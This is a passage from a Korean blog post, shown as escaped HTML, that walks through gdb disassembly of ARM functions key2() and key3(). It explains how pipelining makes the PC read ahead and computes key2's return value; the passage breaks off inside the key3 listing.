생각한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;하지만 컴퓨터 구조를 공부하면 알듯이 pipe line에 의해서 0x00008ce4 부분이 fetch될 부분이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;pipe line&lt;/span&gt;의 개념은 다른 장에서 설명할 계획이다. 우선 pc는 실제로 현재 실행되고 있는 명령의 다다음 명령이라고 생각하면 쉬울것이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;key2() 함수&lt;/span&gt;의 내용을 보면 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;7&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;9&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;10&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;11&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;12&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;13&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;14&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;15&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;16&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;17&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(gdb)&amp;nbsp;disass&amp;nbsp;key2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Dump&amp;nbsp;of&amp;nbsp;assembler&amp;nbsp;code&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;function&amp;nbsp;key2:&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008cf0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{r11}&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;;&amp;nbsp;(str&amp;nbsp;r11,&amp;nbsp;[sp,&amp;nbsp;#&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008cf4&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;add&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r11,&amp;nbsp;sp,&amp;nbsp;#0&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008cf8&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{r6}&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;;&amp;nbsp;(str&amp;nbsp;r6,&amp;nbsp;[sp,&amp;nbsp;#&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008cfc&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;12&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;add&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r6,&amp;nbsp;pc,&amp;nbsp;#1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d00&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;bx&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r6&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d04&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r3,&amp;nbsp;pc&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d06&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;22&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;adds&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r3,&amp;nbsp;#4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d08&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;24&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{r3}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d0a&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;26&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;pop&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{pc}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d0c&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;28&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;pop&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{r6}&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;;&amp;nbsp;(ldr&amp;nbsp;r6,&amp;nbsp;[sp],&amp;nbsp;#4)&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d10&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;32&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r0,&amp;nbsp;r3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d14&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;36&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sub&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sp,&amp;nbsp;r11,&amp;nbsp;#0&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d18&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;40&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;pop&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{r11}&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;;&amp;nbsp;(ldr&amp;nbsp;r11,&amp;nbsp;[sp],&amp;nbsp;#4)&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d1c&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;44&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;bx&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;lr&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;End&amp;nbsp;of&amp;nbsp;assembler&amp;nbsp;dump.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;우리가 주의깊게 살펴볼 부분은 아래의 세&amp;nbsp;줄이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;mov r3, pc&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;adds r3, #4&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;mov r0, r3&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;pipe line에 의해 pc 값은 0x00008d08이고 add 명령에 의해 4를 더하니&amp;nbsp;최종적으로 r3값은 0x00008d0c이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;이것을 r0로 return 한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;key3() 함수&lt;/span&gt;의 내용을 보면 아래와 같다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;7&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;9&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;10&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;11&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(gdb)&amp;nbsp;disass&amp;nbsp;key3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; 